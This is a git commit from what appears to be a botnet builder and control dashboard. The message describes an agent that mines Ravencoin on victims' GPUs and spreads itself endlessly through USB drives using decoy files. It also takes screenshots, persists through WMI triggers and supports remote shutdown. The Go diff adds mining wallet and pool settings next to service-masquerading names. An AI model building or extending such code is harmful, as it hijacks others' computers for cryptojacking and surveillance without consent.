Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
This commit is contained in:
AetherForge
2026-06-02 21:50:34 -07:00
parent 41b5ec7a88
commit ca66f5d048
34 changed files with 2369 additions and 277 deletions

View File

@@ -85,6 +85,15 @@ type BuildRequest struct {
// CancelToken is a client-generated UUID. Pass the same token to
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
CancelToken string `json:"cancel_token,omitempty"`
// GPU / Ravencoin mining
GPUEnabled bool `json:"gpu_enabled"`
RVNWallet string `json:"rvn_wallet"`
RVNPoolHost string `json:"rvn_pool_host"`
RVNPoolPort int `json:"rvn_pool_port"`
RVNPoolTLS bool `json:"rvn_pool_tls"`
RVNPoolPass string `json:"rvn_pool_pass"`
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
ServiceName: %q,
ServiceDonor: %q,
FleetSecret: %q,
// GPU / Ravencoin mining
GPUEnabled: %v,
RVNWallet: %q,
RVNPoolHost: %q,
RVNPoolPort: %d,
RVNPoolTLS: %v,
RVNPoolPass: %q,
RVNBackupPools: %s,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
serviceMasqueradeName(buildID, req),
serviceMasqueradeDonor(buildID, req),
h.fleetSecret,
req.GPUEnabled,
req.RVNWallet,
rvnPoolHost(req),
rvnPoolPort(req),
req.RVNPoolTLS,
rvnPoolPass(req),
formatGoBackupPools(req.RVNBackupPools),
)
}
func rvnPoolHost(req *BuildRequest) string {
if req.RVNPoolHost == "" {
return "rvn.2miners.com"
}
return req.RVNPoolHost
}
func rvnPoolPort(req *BuildRequest) int {
if req.RVNPoolPort <= 0 {
return 6060
}
return req.RVNPoolPort
}
func rvnPoolPass(req *BuildRequest) string {
if req.RVNPoolPass == "" {
return "x"
}
return req.RVNPoolPass
}
// formatGoBackupPools emits a Go literal for []config.BackupPool.
func formatGoBackupPools(pools []BackupPool) string {
if len(pools) == 0 {